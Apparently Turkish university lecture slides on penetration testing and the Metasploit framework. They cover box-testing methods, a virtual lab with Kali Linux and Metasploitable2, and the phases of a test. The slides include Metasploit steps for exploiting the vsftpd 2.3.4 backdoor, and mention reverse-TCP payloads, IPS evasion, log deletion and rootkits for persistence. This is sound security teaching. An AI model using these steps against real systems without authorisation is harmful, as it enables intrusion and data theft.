

Sızma Testleri ve Metasploit Çerçevesi

Siber Saldırı ve Savunma Yöntemleri - Hafta 10

Siber Güvenlikte Kritik Bir Araç: Sızma Testleri ve Metasploit Çerçevesi

Üniversite düzeyinde bu sunum, siber güvenlikte temel bir süreç olan Sızma Testlerini (Penetration Testing) ve bu testlerde kullanılan en güçlü araçlardan biri olan Metasploit Çerçevesini inceleyecektir.

Bugünün internet tabanlı ağ ortamlarında (bilgisayarlar, mobil telefonlar, IP kameralar vb.) cihazlar birbiriyle bağlantılıdır ve yasal olmayan yöntemlerle devre dışı bırakılma veya veri çalınması riski taşırlar.

Siber saldırganlar sürekli olarak yeni güvenlik açıkları bulmakta ve bunları kötü amaçları doğrultusunda kullanmaktadırlar.

Sızma testi (pentest), ağ ortamı veya web sitelerinin önceden kontrol edilerek veri ve cihaz güvenliğinin sağlanması için uzman kişilerce uygulanan testlerdir.



Siber Alanda Güvenlik ve Açıkların Nedenleri

Ağa bağlı cihazların yasal formatta ilişkilerini sürdürmesi ve en üst düzeyde güvenliğin sağlanması kritik öneme sahiptir.

Güvenlik açıklarının temel nedenleri şunlardır:

1. Tasarım ve Geliştirme Hataları: Yanlış donanım seçimi, ağ yapılandırması veya yanlış yazılım yükleme.
2. İnsan Hataları: Gerekli bilgiye sahip olmayan kişilerin sistemleri veya yazılımları yanlış kullanması.
3. Eğitim Eksikliği: Çalışan personele kullanılan programlar hakkında yeterli eğitim verilmemesi.
4. Şifreler: Çalışan personele verilen şifrelerin doğru kullanılmaması.
5. Bağlantı Sorunları: Güvenli olmayan ağların kullanılması.
6. Karmaşıklık: Ağ altyapısının çok karmaşık olması.



Sızma Testi (Penetration Test) Tanımı ve Amacı

Sızma testi, güvenlik uzmanlarının ilgili kurumdan izin alarak gerçekleştirdiği bir süreçtir.

Uzmanlar, kötü niyetli bir saldırganın zarar vermesini önlemek amacıyla kurumun ağ sistemindeki veya web sayfasındaki bütün açıkları tespit etmeye çalışır.

Bu işlemler sonucunda bir rapor hazırlanır ve güvenlik açıkları için gerekli önlemlerin alınması sağlanır.

Sızma testi uygulayan kişilere 'Sızma Testi Uzmanı' veya 'Pentester' denir.

Temel Sızma Testi Metodolojileri: Kutu Testleri

Bilişim alanında güvenlik uzmanlarının kullandığı başlıca üç çeşit sızma testi bulunmaktadır: Beyaz Kutu, Gri Kutu ve Siyah Kutu Testleri.

Bu metodolojiler, test uzmanının hedef sistem hakkında ne kadar ön bilgiye sahip olduğuna göre ayrılır:

1. Beyaz Kutu (White Box): Tam bilgi ve erişim izni mevcuttur.
2. Gri Kutu (Gray Box): Temel bilgiler ve kısmi erişim izni mevcuttur.
3. Siyah Kutu (Black Box): Hedef sistem hakkında hiçbir bilgi mevcut değildir.



Beyaz Kutu (White Box) Testi: Kod Odaklı Güvenlik

Beyaz kutu testi, güvenlik uzmanlarının yazılımın yapısını, tasarımını ve kodlamasını kontrol ettiği bir tekniktir.

Uzman, sızılacak sistem hakkında her türlü bilgiye ve kodlara erişim iznine sahiptir. Bu nedenle 'Cam Kutu', 'Şeffaf Kutu' veya 'Yapısal Test' olarak da bilinir.

Kontrol Edilen Durumlar:

- * Kodlama hataları veya fazla yazılan bölümler.
- * Kod aracılığıyla belirli girdilerin akışı ve çalışması.
- * Programda kullanılan döngülerin ve her kod blokunun çalışmasının test edilmesi.



Beyaz Kutu Testi: Avantajlar, Dezavantajlar ve Aşamalar

Avantajlar:

- * Yazılım geliştirilirken erken müdahale imkanı vardır.
- * Kodun güvenilirliği yüksektir.
- * Maliyeti diğer test çeşitlerine göre en ucuz testtir.

Dezavantajlar:

- * Kod okumayı bilen nitelikli test uzmanı bulmak zor ve maliyetlidir.
- * Testler çok kapsamlı ve ayrıntılı olduğu için uzun zaman alabilir.

Yapım Aşamaları:

1. Bildirim Aşaması: Kodların en az bir kere çalıştırılıp çalıştırılmadığının kontrolü.
2. Döngülerin Kontrol Edilmesi Aşaması: Döngülerin dallanmalarının kontrolü.
3. Yol Aşaması: Programın bütün çalışma yollarının test edilmesi.



Beyaz Kutu Test Araçları

Beyaz kutu testlerinde yaygın olarak kullanılan bazı açık kaynak kodlu araçlar şunlardır:

- * JUnit: Java programlama dilini kullanan yazılım test uzmanları için bir birim test aracıdır.
- * HtmlUnit: Tarayıcı işlevselliğini programlı olarak simüle eden Java tabanlı bir test aracıdır; uyum testleri için kullanılır.
- * PyUnit: Python programlama dilini kullanan test uzmanları için bir birim test aracıdır.
- * Selenium: Çeşitli platformlarda web uygulamalarını otomatik olarak doğrulamak için kullanılan test araçları paketidir; Python, C# ve JavaScript gibi dilleri destekler.



Gri Kutu (Gray Box) Testi: Kısmi Bilgiyle Saldırı Simülasyonu

Gri kutu testi, Siyah kutu testi ile Beyaz kutu testinin bir kombinasyonudur. 'Yarı Saydam Test' olarak da bilinir.

Bu test tekniğinde, güvenlik uzmanına çalışma yapılacak sistem hakkında temel bilgiler ve kısmi erişim izni (örneğin hedef IP listesi veya sunucu bilgileri) verilir.

Temel Amaç: Uygulamanın kodlama hatası veya yanlış kullanımı nedeniyle oluşan sorunları bulmaktır.

Gri kutu testi, siyah kutu test yöntemine göre daha kısa zaman alır ve beyaz kutu testinden daha az zaman alan kısmen kapsamlı bir süreçtir.



Gri Kutu Testi: Perspektif ve Kapsam

Avantajlar:

- * Büyük kod bölümleri için iyi çalışır.
- * Test uzmanlarının programlama dilini veya yöntemlerini çok iyi bilmesi gerekmez.
- * Programlama koduna erişim şart değildir.
- * Test, tasarımcıdan ziyade kullanıcının bakış açısına dayanır.

Dezavantajlar:

- * Çoğu test senaryosunun tasarlanması zordur.
- * Sınırlı kapsama alanı vardır çünkü sadece birkaç test senaryosu bulunur.
- * Test uzmanları süreç hakkında sınırlı bilgiye sahip olduğu için etkili bir yöntem olarak değerlendirilmeyebilir.



Gri Kutu Test Araçları

Gri kutu testlerini destekleyen araçlar arasında şunlar bulunur:

- * Selenium: Web uygulamalarını otomatik olarak doğrulamak için kullanılan popüler bir araç paketidir.
- * Appium: IOS, Android ve Windows uygulamalarının test edilmesini sağlayan mobil uygulamalar için test otomasyonudur (2013 yılında çıkmıştır).
- * NUnit: Açık kaynak kodlu .Net platformundaki tüm dilleri destekleyen, birim testi yapmak için kullanılan bir Framework'tür.

NOT: Framework, yazılım geliştiricilerin kullandığı, önceden hazırlanmış kütüphanelerin bulunduğu ve bunlara yenilerinin eklenebileceği yapılardır (Form kontrolü, veritabanı bağlantısı gibi kütüphaneleri içerir).

Siyah Kutu (Black Box) Testi: Dışarıdan Saldırgan Rolü

Siyah kutu testinde, hedef sistem hakkında hiçbir bilgi mevcut değildir. Bu test 'Kapalı Kutu', 'İşlevsel Test' veya 'Veriye Dayalı Test' olarak da adlandırılır.

Güvenlik uzmanı (pentester), bir hacker gibi düşünerek sistem hakkında bir açık bulabilmek için çok sayıda araç ve yöntem denemek zorundadır.

Bilgi toplamak çok zaman alır.

Test, gereksinimlerin belirlenmesinin hemen ardından test senaryoları oluşturularak başlatılabilir.



Siyah Kutu Testi: Hız ve Perspektif Farkı

Avantajlar:

- * Test uzmanları tarafından yapıldığı için kod bilgisine ihtiyaç duyulmaz.
- * Test eden kişi ile kodu geliştiren kişi farklı olduğu için farklı bakış açılarıyla test yapılabilir ve görünmeyen hatalar bulunabilir.
- * Testler hızlı ve etkin bir biçimde uygulanabilir.
- * Büyük ölçekli sistemlerde kullanıldığında oldukça yüksek verim alınır.

Dezavantajlar:

- * Sistemin yapısı bilinmediği için kaynak kod içindeki kümelenmiş hataların bulunması zorlaşır.
- * Bütün olasılıkları kontrol etmek mümkün değildir, bu nedenle test edilmemiş fonksiyonlar kalabilir.
- * Karmaşık kod blokları içeren yazılımlarda kullanılamaz.



Siyah Kutu Test Yöntemleri

Test uzmanları, programlardaki ~~bir dizi işlevi~~ sistematik olarak test etmek için siyah kutu test yöntemlerini kullanır:

1. Eşit Bölümlere Ayırma: Giriş değerleri, sonuçtaki benzerliğine göre farklı sınıflara veya gruplara ayrılır.
2. Sınır Değer Analizi: Tüm test seviyelerinde uygulanabilir; uygulaması kolay ve hata bulma becerisi yüksektir.
3. Karar Tablosu: Karmaşık iş kurallarına sahip sistemlerin test edilmesinde kullanılır, gözden kaçabilecek olasılıkların listelenmesini sağlar.
4. Durum Geçişi: Belli iş kurallarına bağlı şartların oluşması ve bir durumdan diğerine geçilerek sonlanması durumunun test edilmesidir.
5. Hata Tahmini: Kodda geçerli olabilecek hatayı tahmin etmeye yönelik bir çalışmadır.
6. Grafik Tabanlı: Tüm nesneler belirlenir ve grafik hazırlanarak nesne ilişkileri test edilir.
7. Karşılaştırma: Aynı yazılımın farklı bağımsız sürümleri birbirleriyle karşılaştırılır.



Kutu Testlerinin Kritik Karşılaştırması

Üç ana test türünün sistem bilgisi, test hızı ve kapsam açısından karşılaştırılması:

| Özellik | Siyah Kutu | Beyaz Kutu | Gri Kutu |

|:---|:---|:---|:---|

| Sistem/Yazılım Bilgisi | Hiçbir bilgi yok | Tamamen biliniyor | Kısmen biliniyor |
| Diğer Adları | İşlevsel Test, Kapalı Kutu | Yapısal Test, Cam Kutu | Yarı Saydam Test |

| Kapsam | En az kapsamlı | En kapsamlı süreç | Kısmen kapsamlı |
| Zaman | En az zaman alan süreç | Zaman alıcı bir süreç | Beyaz kutudan daha az zaman alır |

| Gizli Hata Bulma | Zor | Çok kolay | Kullanıcı düzeyinde bulunabilir |
| Kim Yapar | Test kullanıcıları, geliştiriciler, son kullanıcılar | Yalnızca testçiler ve geliştiriciler | Test kullanıcıları, geliştiriciler, son kullanıcılar |

Sızma Testi Uygulama Alanlarının Genişliği

Güvenlik uzmanları, veri ve sistem güvenliğini sağlamak için çeşitli alanlarda testler yaparlar. Bu testler şunlardır:

- * Ağ güvenliği sızma testleri.
- * Web uygulamalarına yönelik sızma testleri.
- * Mobil uygulamalar için sızma testleri.
- * Kritik altyapılı sistemler için sızma testleri.
- * Yük (DDoS) testleri.
- * Bulut sistemi için sızma testleri.
- * Kablosuz ağlar için sızma testleri.
- * Sosyal mühendislik testleri.
- * Veri tabanı sızma testleri.



Ağ Sızma Testleri: İç ve Dış Kapsam

Ağ sızma testleri iki ana kategoriye ayrılır:

1. İç Ağ (Internal) Sızma Testleri: Kurumun kendi içindeki ağ sistemine veya bilgilere erişilebileceğini araştırır (Örneğin, ağdaki cihaz, yazılım, şifre ayrıntıları kontrol edilir).
2. Dış Ağ (External) Sızma Testleri: Kurumun dışarıya açık olan sistemleri üzerinden hangi bilgilere ve sistemlere erişilebileceğini araştırır. Bu, dış ağla ilgili cihaz, yazılım ve şifrelerin kontrolünü gerektirir.



İç Ağ Sızma Testi İşlemleri

İç ağ sızma testinde gerçekleştirilmesi gereken temel işlemler şunlardır:

- * Ağ numaralandırmasının (IP listesi) kontrolü.
- * Nmap gibi bir program kullanarak güvenlik açığı taraması ve hangi bağlantı noktalarının/hizmetlerin çalıştığının belirlenmesi.
- * Wireshark gibi araçlarla kablosuz ağ trafiği dahil olmak üzere veri paketlerinin incelenmesi.
- * İşletim sistemleri ve kullanılan yazılımların güncel olup olmadığının, güvenlik açıklarının kontrolü.
- * Metasploit taraması yaparak uygun exploitlerin seçilmesi.
- * Varsayılan parolaların denenmesi (sunucular, yönlendiriciler, erişim noktaları).
- * Artık kuruluştaki bulunmayan çalışanlar için aktif hesapların kontrolü.

Dış Ağ Sızma Testi İşlemleri

Dış ağ sızma testleri, dışarıdan erişilebilen noktaların güvenliğini hedefler. Yapılması gereken işlemler şunlardır:

- * Ağda IP adreslerinin kontrolü için tarama işlemi.
- * Web sunucusunun IP adresinin kontrolü.
- * Yönlendiricinin ayarlarının kontrolü.
- * OWASP gibi programlar kullanarak web sitesinin güvenlik açıklarının kontrolü.
- * Web sitesinde bulunan güvenlik açıklarına uygun exploitler seçerek saldırı yapmak.
- * Kablosuz ağı kontrol etmek ve yetkisiz kullanıcıları çıkarmak.
- * Parola deneme işlemleri.
- * Rapor oluşturmak.



Web Uygulama Sızma Testi

Bu test, herhangi bir web adresini hedef alarak, bu adres üzerinden bir sisteme veya çeşitli verilere erişilebileceğini araştırmayı amaçlar.

Web uygulama sızma testi, ilgili kurumun internete açık olan servislerini (DNS, FTP, mail, web vb.) kontrol etmek için kullanılır.

Web sızma testlerinde güvenlik uzmanı genellikle OWASP Metodolojisi kılavuzunu temel alır.

OWASP (Open Web Application Security Project), güvenilir uygulamaları tasarlama, geliştirme ve sürdürme konusunda ücretsiz araçlar, belgeler ve forumlar sunan açık bir topluluktur.



Web Uygulama Test Aşamaları (OWASP Metodolojisi)

OWASP Metodolojisi kılavuzunda belirtilen temel işlem basamakları şunlardır:

- * Bilgi Toplama ve Hedef Belirleme.
- * Yapılandırma ve Dağıtım Yönetimi Sınaması.
- * Kimlik Yönetimi Testi.
- * Kimlik Doğrulama Testi.
- * Yetkilendirme Testi.
- * Oturum Yönetimi Testi.
- * Giriş Doğrulama Testi.
- * Hata İşleme ve Şifreleme Testleri.
- * İş Mantığı Testi (Business Logic Test).
- * İstemci Tarafı Testi (Client-Side Test).

Mobil Uygulama Sızma Testi

Mobil cihazların ve uygulamaların hızla artmasıyla birlikte, bu uygulamalar kredi kartı verilerinden tıbbi verilere kadar birçok hassas bilgiyi işler ve saklar.

Kullanıcı sayısındaki artış, mobil uygulamaları ve modüllerini saldırganların hedefi hâline getirmektedir.

Mobil uygulama sızma testi, mobil cihazları ve uygulamaları güvenli hâle getirmeyi amaçlar.

Bu testler, mobil cihazın kendisindeki veri depolama, uygulama içi mantık hataları ve mobil API güvenliği gibi konulara odaklanır.



Kritik Altyapı Sistemleri Sızma Testleri

Kritik altyapı, devletler için hayati öneme sahip ağların yönetildiği kompleks sistemlerin bütünüdür.

Bu altyapılardaki verinin bozulması can ve mal kaybına, büyük ekonomik zararlara, ulusal güvenlik zafiyetine ve kamu düzeninin bozulmasına sebep olabilir.

Avrupa Birliği tarafından tanımlanan kritik altyapı sektörleri arasında şunlar bulunur:

- * Enerji kurumları ve ağları.
- * Bilgi ve iletişim teknolojileri ile bağlantılı yapılar.
- * Finansman ve Sağlık hizmetleri.
- * Gıda, Suyla ilgili altyapılar.
- * Ulaşım araçları ve ağları.
- * Tehlike arz eden maddelerin üretimi/nakliyesi (Nükleer, kimyasal, biyolojik).



Hizmet Engelleme ve Yük Testi (DDoS)

DDoS (Distributed Denial of Service) veya Servis Dışı Bırakma saldırıları, bir kurumun tüm internet sistemini analiz ederek sistemi servis dışı bırakır.

Bu saldırılar, kurumların çevrimiçi hizmetlerinin uzun süre ulaşılmaz hâle gelmesine neden olur ve günümüzde yaygın olarak kullanılmaktadır.

DoS ve DDoS saldırılarında amaç, sistemin verdiği hizmetleri aksatmaktır.

Gerçekleştirilecek DoS/DDoS testleri, sistemlerin veya uygulamaların saldırılara karşı dayanıklılığını ölçmeyi ve tespit edilen problemlerin giderilmesine katkı sağlar.



Bulut, Kablosuz Ağ ve Sosyal Mühendislik Testleri

Bulut (Cloud) Sızma Testi:

- * Veri ve programların internet üzerinden depolanması ve erişilmesi anlamına gelir.
- * Verilerin internet ortamında saklanması, güvenlik sorunlarını gündeme getirir.
- * Bulut sunucularındaki zafiyetler için yapılan güvenlik testleri çok önemlidir.

Kablosuz Ağ (Wireless) Sızma Testi:

- * Kurumların iç ağlarında kullandığı kablosuz ağ altyapısının incelenmesini içerir.
- * Dışarıdan gerçekleştirilebilecek sızmalara veya kötü niyetli kişilerin saldırılarına karşı testler yapılır.

Sosyal Mühendislik Testleri:

- * Kurum çalışanlarından kaynaklanan zafiyetleri bulmaya yönelik bir denetim çalışmasıdır.
- * En iyi güvenlik sistemleri bile kullanıcı hataları karşısında yetersiz kalabilir.



Veri Tabanı Güvenlik Testleri ve Sosyal Mühendislik Detayları

Sosyal Mühendislik:

- * Çalışanların insani zafiyetlerini ortaya çıkaracak şekilde güvenlik bilinç seviyesinin ölçüldüğü testlerdir.
- * Bu testler, çalışanların güvenlik politikalarına uyumunu ve farkındalığını artırmayı amaçlar.

Veri Tabanı Sistemlerine Yönelik Güvenlik Testleri:

- * Kurum bünyesinde kullanılan ORACLE, MSSQL, MySQL gibi veri tabanı sistemlerini hedefler.
- * Yetkili kullanıcı gözüyle kontrol edilerek güvenlik açısından sorun çıkarabilecek unsurlar belirlenir.
- * SQL Enjeksiyonu ve yetki denetimi gibi testleri içerir.

Sızma Testleri İçin Kapsam ve Planlama

Kapsam belirleme, bir sızma testinin en önemli aşamasıdır.

Bu aşamada kurumla görüşmeler sonucunda şunlar tespit edilir:

- * Testin nasıl, ne ölçüde ve hangi zaman aralığında uygulanacağı.
- * Ne kadar süreceği ve maliyeti.
- * Gerekli yasal sözleşmeler yapılır.

Kurumlar; Ağ sızma testi, Web uygulaması sızma testi, Kablosuz ağ sızma testi veya Fiziki sızma testi gibi testlerden bir veya birkaçını tercih edebilir.

En yüksek verimi elde etmek için sızma testinin kapsamı netleştirilmeli, test yapacak kişi veya şirket belirlenmeli ve rapordaki eksiklikler giderilmelidir.



Sanal Sızma Laboratuvarı Kurulumu: Güvenli Uygulama Ortamı

Sızma testi tekniklerini uygulamak için izole bir sanal laboratuvar kurmak şarttır.

Bu laboratuvar, ağda oluşan veri trafiğinin veya gerçekleştirilen saldırıların dışarı çıkmadığı izole bir ortam sunar ve hiçbir sisteme zarar verilmez.

Sanallaştırma, fiziksel donanımın mantıksal bölümlere ayrılarak birden fazla sanal makinenin kullanımını sağlayan bir yöntemdir.

Kurulum için gerekli temel bileşenler:

1. Virtual Box (Sanallaştırma Yazılımı).
2. Kali Linux (Güvenlik Testi İşletim Sistemi).
3. Metasploitable2 (Güvenlik Açıkları Bulunan Hedef Makine).

Kali Linux: Ethical Hacking Platformu

Kali Linux, günümüzde en yaygın kullanılan güvenlik test platformlarından biridir.

- * Linux Debian tabanlı ve ücretsiz bir işletim sistemidir.
- * Daha önce kullanılan Linux'un BackTrack dağıtımının devamıdır.
- * Kali Linux, her renkten hackerın kullandığı araçları içinde barındırır ve sızma testlerinde son derece başarılıdır.

Kali Linux üç şekilde çalıştırılabilir:

1. Bilgisayarın sabit diskine yüklenerek.
2. USB'ye yüklenerek.
3. Virtual Box gibi sanal ortamda kullanılarak.

Metasploitable2: Zafiyetli Eğitim Ortamı

Siber güvenlik eğitimlerinde uygulamalı sızma testi için zafiyetli bir test ortamına ihtiyaç duyulur. Bu amaçla Metasploitable2 kullanılır.

Metasploitable2, yaygın güvenlik açıklarını test etmek ve hedef bir makineyi ele geçirmek için tasarlanmış, zafiyetli bir Ubuntu Linux sanal makinesidir.

- * Grafik tabanı yoktur; konsol ekranı ile kullanılır.
- * Virtual Box gibi sanallaştırma platformlarına kurulur.
- * Varsayılan kullanıcı adı ve şifresi genellikle 'msfadmin'dir.



Metasploit Programı: Exploit Çerçevesi

Metasploit, güvenlik testleri için geliştirilmiş açık kaynak kodlu, Ruby programlama diliyle yazılmış güçlü bir test aracıdır.

Metasploit, sistemlerde bulunan açıkları tespit etme, sistemlere sızma ve sistemleri sömürme (exploit) için gerekli programları barındırır.

- * İçinde 1000'den fazla exploit aracı bulunmaktadır.
- * Exploitlerin kullanımı için parametreler ve modüller de mevcuttur.

Metasploit, Kali Linux içinde terminale 'msfconsole' yazılarak çalıştırılır.

Metasploit Kullanım Alanları ve Temel Komutlar

Metasploit kullanılarak gerçekleştirilebilecek temel işlemler şunlardır:

- * Bir exploit seçme ve yapılandırma.
- * Veriyi (Payload) seçme ve yapılandırma.
- * Hedef sistemin seçilen istismara duyarlı olup olmadığını test etme.
- * Saldırı önleme sisteminin (IPS) veriyi görmezden gelmesi için kodlama teknikleri uygulama.

Temel Metasploit Komutları:

- * help: Kullanılabilecek komutları görüntüler.
- * search: Exploit araması yapar.
- * use: İstenen exploitin kullanılmasını sağlar.
- * set: Bir değişkene değer atamak için kullanılır.
- * set RHOST: Hedef IP adresini belirler.
- * set LHOST: Kullanıcı (saldırgan) IP adresini belirler.



Payload ve Msfvenom Kavramları

Payload (Yük):

- * Hedef sistem üzerinde yıkıcı bir eylem gerçekleştiren veya ayrıcalıklı erişim/izinler sağlayan kötü niyetli kodu ifade eder.
- * Örnekler: Bir kullanıcı oluşturma, bir işlemi başlatma veya taşıma, dosyaları silme.

Msfvenom:

- * Metasploit programı altında bulunan bir payload üretme aracıdır.
- * Msfvenom ile Ters TCP (Reverse TCP) yükü oluşturulabilir; bu yük, çalıştırıldığında kullanıcının makinesini Metasploit işleyicisine bağlayan yürütülebilir bir dosya oluşturur.

Sızma Testi Aşamalarının Genel Bakışı

Sızma testi süreci, sistematik adımlardan oluşur ve başarı için kritik öneme sahiptir.

Ana Aşamalar:

1. Bilgi Toplama (Reconnaissance).
2. Ağ Haritalama (Scanning and Enumeration).
3. Zafiyet Tarama (Vulnerability Analysis).
4. Exploit Seçimi (Exploitation).
5. Erişim Elde Etme (Gaining Access).
6. Detaylı Araştırma (Post-Exploitation).
7. Erişimlerin Korunması (Maintaining Access).
8. İzlerin Silinmesi (Covering Tracks).
9. Raporlama (Reporting).



Aşama 1: Bilgi Toplama (Reconnaissance)

Bu aşamada belirlenen hedef hakkında detaylı bilgi toplanır (web sayfası, sistem yapısı vb.). Hedefin kim olduğu, ne iş yaptığı, hangi sistem üzerine kurulu olduğu gibi sorulara cevap aranır.

Bilgi toplama ikiye ayrılır:

1. Pasif Bilgi Toplama: İnternet üzerinden herhangi bir araç veya program kullanılmadan yapılır (Arama motorları, sosyal medya platformları).
2. Aktif Bilgi Toplama: Çok sayıda araç (program) kullanılarak yapılan bilgi toplamadır. İlk olarak port taraması yapılır (Örn: ping taraması, açık TCP/UDP portlarına bakma).



Aktif Bilgi Toplama Aracı: Nmap

Aktif bilgi toplama işlemi genellikle Nmap programı ile yapılır.

Nmap (Network Mapper):

- * Ağ taraması ve zafiyet tespiti için kullanılan açık kaynak kodlu bir araçtır.
- * Kali Linux işletim sisteminde yer alır ve ağ yöneticilerine büyük kolaylık sağlar.

Nmap, hedef bilgisayar üzerindeki açık portları tespit etmede kullanılır.

Örnek Nmap Komutu: `nmap <Hedef IP numarası>`.

Aşama 2: Ağ Haritalama (Network Mapping)

Ağ haritalama, hedef sistemin ağ yapısının belirlenmesi için yapılan kritik bir çalışmadır.

Bu çalışma yapılırken Nmap ve Netdiscover gibi gelişmiş araçlar kullanılır.

Haritalama sırasında belirlenen bilgiler şunlardır:

- * Sistemdeki açık portlar ve servisler.
- * Servislerin hangi yazılımın hangi sürümü olduğu bilgisi.
- * Ağ girişlerinde bulunan cihazlar (VPN, firewall, IPS).
- * Sunucuda çalışan işletim sistemi.

Bu bilgilerin toplanmasının ardından hedef sisteme ait detaylı bir ağ haritası çıkarılır.

Aşama 3: Zafiyet Tarama (Vulnerability Scanning)

Bu aşamanın temel amacı, belirlenen hedef sistemlerdeki açıklıkların ve zayıf noktaların ortaya çıkarılmasıdır.

Bu işlem için otomatize araçlar (örneğin Nessus, Nmap) kullanılır.

Zafiyet taraması, sistemin o anki güvenlik görüntüsünü almayı amaçlar ve araçlar genellikle güvenlik açıklarını detaylı bir raporla sunar.

Örnek Zafiyetler:

- * Basit şifre ve parola kullanımı.
- * Web uygulamalarındaki önemli dosyalara erişim.
- * Sistem içinde kritik öneme sahip dosyaların paylaşımda olması.
- * İşletim sistemi ve uygulamalarındaki güncelleme eksiklikleri.
- * SSL şifrelemedeki eksiklikler.

Aşama 4: Exploit Seçimi ve Tanımı

Hedef sistemde zafiyetler belirlendikten sonra, bu açıklıkları kullanmak için uygun programlar ve exploitler seçilir.

Exploit (Açıklardan Yararlanma/Sömürme İşlemi):

- * Hedef sistemin açıklarını sömürmek, ele geçirmek veya bilgi çekmek amacıyla oluşturulan yazılım veya araçlardır.
- * Exploitler; C, Perl, Ruby, Python ve Php gibi programlama dillerinde küçük programlar hâlinde hazırlanır.



Exploit Türleri: Uzaktan, Yerel ve Sıfır Gün

Exploitler kullanım alanlarına göre üç ana gruba ayrılır:

1. Uzaktan (Remote) Exploit: Uzaktaki bir bilgisayara ulaşmak ve sistemin açıklarını kullanarak bilgi elde etmek için kullanılır.
2. Yerel (Local) Exploit: Sisteme içeriden erişimde bulunarak bilgi almak için kullanılır. Hedef sisteme giriş yapıldıktan sonra hak yükseltme işlemlerinde kritik rol oynar.
3. Sıfır Gün (Zero Day) Exploit: Bir sistemde daha önce görülmemiş bir zafiyet bulan ve bu zafiyeti sömürmek için yazılan exploitlerdir.

Sıfır Gün Exploitler:

* En tehlikeli exploit çeşididir, çünkü açıklık sistem yöneticileri tarafından henüz bilinmemektedir.



Metasploit ile Exploit Uygulama Adımları

Metasploit (msfconsole) içinde bir exploit kullanmak için genel adımlar şunlardır:

1. msfconsole komutuyla Metasploit'i başlatın.
2. search komutuyla uygun exploiti arayın (Örnek: search exploit vsftpd).
3. use komutuyla exploiti seçin (Örnek: use vsftpd_234_backdoor).
4. show options komutuyla gerekli ayarları görüntüleyin.
5. show payloads komutuyla uygun yükleri listeleyin.
6. set PAYLOAD komutuyla yükü belirleyin (Örnek: set payload cmd/unix/interact).
7. set RHOST (Hedef IP) ve set LHOST (Saldırgan IP) ayarlarını yapın.
8. exploit veya run komutuyla işlemi çalıştırın.

Aşama 5 ve 6: Erişim Elde Etme ve Detaylı Araştırma

Erişim Elde Etme ve Yetki Yükseltme

Sisteme bir şekilde giriş hakkı elde edildikten sonra, kullanıcının haklarının artırılması hedeflenir.

Yetki yükseltme işlemleri ile sistemdeki kısıtlamalar atlatılmaya çalışılır (Linux için root, Windows için NT AUTHORITY SYSTEM yetkileri kazanılır).

Yüksek yetkiler kazanıldıktan sonra, şifrelenmiş veya açık bir şekilde bulunan parolalar elde edilir ve önemli dosyaların bir kopyası alınır.

Detaylı Araştırma:

Yönetici (admin) haklarını ele geçirmek için işletim sistemindeki ve yazılım uygulamalarındaki tasarım, programlama veya yapılandırma hatalarından yararlanılır.

Bu haklar, saldırganın gizli verileri görmesini, dosyaları silmesini veya kötücül programları sisteme yüklemesini sağlar.



Aşama 7: Erişimlerin Korunması (Persistence)

Sisteme girildiğinin anlaşılmaması ve kalıcı erişim sağlamak için bazı önlemler alınır. Bunlar:

- * Giriş kayıtlarının (logların) silinmesi.
- * Gizli kanalların (covert channel) kullanılması.
- * Arka kapı (backdoor) yerleştirilmesi.
- * Rootkit yerleştirilmesi.

İletişim Kanalları:

- * Overt Channel: Yasal iletişim hattıdır, sistem yöneticileri tarafından veri taşıma amacıyla oluşturulmuştur.
- * Covert Channel: Trojanlar ile veri hırsızlığı gibi yasa dışı amaçlar için kullanılan yetkisiz ve gizli kanaldır.

Arka Kapılar (Backdoor) ve Rootkitler

Arka Kapılar (Backdoor):

* Yazılım ve sistemlerde istemli veya istemsiz olarak bırakılan, veri girişi veya çıkışı (veri sızdırması vb.) amacıyla kullanılan açık noktalardır.

Rootkit:

- * Saldırgan istediğinde bağlantı kurması için kullanılan kalıcı mekanizmalardır.
- * Dosya gizlemeye yarar ve yasal yazılımları zararlı yazılımlarla değiştirebilir.
- * Amacına göre klavye girdilerini dinleyebilir.

Rootkitin Amacı: Kendini gizlerken bir cihaza ayrıcalıklı erişim kazanmaktır.

Aşama 8 ve 9: İzlerin Silinmesi ve Raporlama

İzlerin Silinmesi:

- * Hedef sistemde oluşturulmuş arka kapılar, test amaçlı scriptler ve eklenmiş tüm veriler not alınmalı ve test bitiminde silinmelidir.
- * Çalıştırılan exploitler sistemde değişiklik yaptıysa yazılımlar orijinaline döndürülür ve oluşturulan dosyalar silinir.

Raporlama:

- * Rapor, bir testin en önemli kısmıdır. Ne kadar açık ve detaylı hazırlanırsa, kurumun risk değerlendirmesi ve güvenlik açıklarını gidermesi o kadar kolay olur.
- * Rapor içeriği: Güvenlik açıklarının belgelenmesi, sözlü olarak anında bildirim, genel güvenlik değerlendirmesi ve iyileştirme önerileri.
- * Raporda kullanılan programların bildirilmesi, sistem yöneticilerinin farkındalığını artırır.



Sızma Testi Yönetimi: Zamanlama ve Kalite Ölçümü

Zamanlama:

- * Hedef sistemlerin kritiklik durumlarına göre sızma testlerinin zamanlaması ayarlanmalıdır.
- * Üretimi veya verilen hizmeti aksatmayacak şekilde uygun bir zaman belirlenmelidir.
- * DDoS testlerinin genellikle hafta sonu ve gece yarısı gerçekleştirilmesi önerilir.

Kalitenin Ölçümü:

- * Kurumlar bazen sadece zafiyet tarama ister, ancak bu, sistemin tüm zayıf yönlerini bulmaya yetmeyebilir.
- * Tam bir güvenlik oluşturmak için sızma testi çeşitlerinin hepsi uygulanmalıdır.
- * İyileştirme çalışmaları tamamlandıktan sonra, güvenlik durumunun ne kadar iyileştirildiğini belirlemek için **doğrulama testi** yapılmalıdır.

Bulguların Saklanması ve Veri Koruması

Sızma testlerini yapan ekiplerin elde ettiği sonuçlar, hedef sistemlere ait çok hassas bilgiler içerdiği için fiziksel ortamda koruma altına alınmalıdır.

Aksi hâlde bu bilgiler başkalarının eline geçebilir.

Test sonuçlarını saklamak için Truecrypt gibi disk şifreleme yazılımları kullanılması önerilir.

Bu, sızma testi etik kurallarının ve yasal yükümlülüklerinin bir parçasıdır; elde edilen verilerin sızmamaması hayati önem taşır.



Tersine Kabuk (Reverse Shell) Kavramına Giriş

Tersine Kabuk (Reverse Shell), komut kabuğunun (command shell) uzak bir makinede (hedef) çalıştırıldığı bir ağ bağlantısı türüdür.

Bu kabuğun girdisi ve çıktısı, ağ üzerinden yerel makineye (saldırgan) geri iletilir.

Bu mekanizma, yerel makinedeki bir kullanıcının uzak makinede komut yürütmesine ve sonuçları almasına olanak tanır.

Tersine kabuklar genellikle sızma testi ve siber güvenlik olaylarına müdahale durumlarında kullanılır, ancak kötü niyetli aktörler tarafından yetkisiz erişim sağlamak için de kullanılabilir.

